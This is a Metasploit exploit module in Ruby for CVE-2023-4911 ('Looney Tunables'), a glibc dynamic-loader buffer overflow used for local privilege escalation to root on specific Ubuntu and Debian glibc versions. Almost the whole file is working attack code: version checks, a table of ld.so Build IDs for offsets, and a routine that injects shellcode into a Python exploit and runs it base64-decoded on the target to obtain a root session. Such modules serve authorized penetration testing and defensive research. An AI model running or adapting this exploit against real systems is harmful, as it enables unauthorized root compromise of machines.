250 lines
10 KiB
Ruby
250 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
# includes: is_root?
|
|
include Msf::Post::Linux::Priv
|
|
# includes: kernel_release
|
|
include Msf::Post::Linux::Kernel
|
|
# include: get_sysinfo
|
|
include Msf::Post::Linux::System
|
|
# includes writable?, upload_file, upload_and_chmodx, exploit_data, cd
|
|
include Msf::Post::File
|
|
# includes register_files_for_cleanup
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
BUILD_IDS = {
|
|
'69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561,
|
|
'3602eac894717d56555552c84fc6b0e4d6a4af72' => 561,
|
|
'a99db3715218b641780b04323e4ae5953d68a927' => 561,
|
|
'a8daca28288575ffc8c7641d40901b0148958fb1' => 580,
|
|
'61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560,
|
|
'9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580,
|
|
'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580,
|
|
'956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322
|
|
}
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)',
|
|
'Description' => %q{
|
|
A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES
|
|
environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when
|
|
launching binaries with SUID permission to execute code in the context of the root user.
|
|
|
|
This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:
|
|
|
|
Ubuntu:
|
|
2.35-0ubuntu3.4 > 2.35
|
|
2.37-0ubuntu2.1 > 2.37
|
|
2.38-1ubuntu6 > 2.38
|
|
|
|
Debian:
|
|
2.31-13-deb11u7 > 2.31
|
|
2.36-9-deb12u3 > 2.36
|
|
|
|
Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
|
|
however this module does not target them.
|
|
},
|
|
'Author' => [
|
|
'Qualys Threat Research Unit', # discovery
|
|
'blasty <peter@haxx.in>', # PoC
|
|
'jheysel-r7' # msf module
|
|
],
|
|
'References' => [
|
|
['CVE', '2023-4911'],
|
|
['URL', 'https://haxx.in/files/gnu-acme.py'],
|
|
['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'],
|
|
['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'],
|
|
['URL', 'https://ubuntu.com/security/CVE-2023-4911']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PrependSetresgid' => true,
|
|
'PrependSetresuid' => true,
|
|
'WfsDelay' => 600
|
|
},
|
|
'DisclosureDate' => '2023-10-03',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
|
|
])
|
|
end
|
|
|
|
def find_python
|
|
%w[python python3].select(&method(:command_exists?)).first
|
|
rescue StandardError => e
|
|
fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
|
|
end
|
|
|
|
def check
|
|
glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first
|
|
return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version
|
|
|
|
sysinfo = get_sysinfo
|
|
case sysinfo[:distro]
|
|
when 'ubuntu'
|
|
# Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility
|
|
test_version = glibc_version.gsub(/-\d+ubuntu/, '.')
|
|
if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||
|
|
Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||
|
|
Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))
|
|
return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
|
|
end
|
|
when 'debian'
|
|
# Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility
|
|
test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.')
|
|
if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||
|
|
Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))
|
|
return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
|
|
end
|
|
else
|
|
return CheckCode::Unknown('The module has not been tested against this Linux distribution')
|
|
end
|
|
CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable")
|
|
end
|
|
|
|
def check_ld_so_build_id
|
|
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
|
|
if command_exists?('file')
|
|
check_ld_so_build_id_file
|
|
elsif command_exists?('readelf')
|
|
check_ld_so_build_id_readelf
|
|
elsif command_exists?('perf')
|
|
check_ld_so_build_id_perf
|
|
else
|
|
print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
|
|
end
|
|
end
|
|
|
|
def check_ld_so_build_id_readelf
|
|
file_cmd_output = ''
|
|
|
|
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
|
|
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
|
|
sysinfo = get_sysinfo
|
|
case sysinfo[:distro]
|
|
when 'ubuntu'
|
|
if command_exists?('ldconfig')
|
|
file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
|
|
end
|
|
when 'debian'
|
|
file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
|
|
else
|
|
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
|
|
end
|
|
|
|
if file_cmd_output =~ /Build ID: (\w+)$/
|
|
build_id = Regexp.last_match(1)
|
|
if BUILD_IDS.keys.include?(build_id)
|
|
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
|
|
else
|
|
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
|
|
end
|
|
else
|
|
print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
|
|
end
|
|
end
|
|
|
|
def check_ld_so_build_id_file
|
|
file_cmd_output = ''
|
|
|
|
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
|
|
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
|
|
sysinfo = get_sysinfo
|
|
case sysinfo[:distro]
|
|
when 'ubuntu'
|
|
if command_exists?('ldconfig')
|
|
file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
|
|
end
|
|
when 'debian'
|
|
file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')
|
|
else
|
|
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
|
|
end
|
|
|
|
if file_cmd_output =~ /BuildID\[.+\]=(\w+),/
|
|
build_id = Regexp.last_match(1)
|
|
if BUILD_IDS.keys.include?(build_id)
|
|
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
|
|
else
|
|
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
|
|
end
|
|
else
|
|
print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
|
|
end
|
|
end
|
|
|
|
def check_ld_so_build_id_perf
|
|
perf_cmd_output = ''
|
|
|
|
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
|
|
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
|
|
sysinfo = get_sysinfo
|
|
case sysinfo[:distro]
|
|
when 'ubuntu'
|
|
if command_exists?('ldconfig')
|
|
perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
|
|
end
|
|
when 'debian'
|
|
perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')
|
|
else
|
|
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
|
|
end
|
|
|
|
if perf_cmd_output =~ /([0-9a-f]+)/
|
|
build_id = Regexp.last_match(1)
|
|
if BUILD_IDS.keys.include?(build_id)
|
|
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
|
|
else
|
|
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
|
|
end
|
|
else
|
|
print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
|
|
|
|
python_binary = find_python
|
|
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
|
|
vprint_status("Using '#{python_binary}' to run the exploit")
|
|
|
|
check_ld_so_build_id
|
|
|
|
shell_code = payload.encoded.unpack('H*').first
|
|
|
|
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
|
|
exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
|
|
exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))
|
|
|
|
vprint_status('All good let\'s go.')
|
|
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
|
|
output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
|
|
if output.blank?
|
|
print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.')
|
|
else
|
|
print_line(output)
|
|
end
|
|
end
|
|
end
|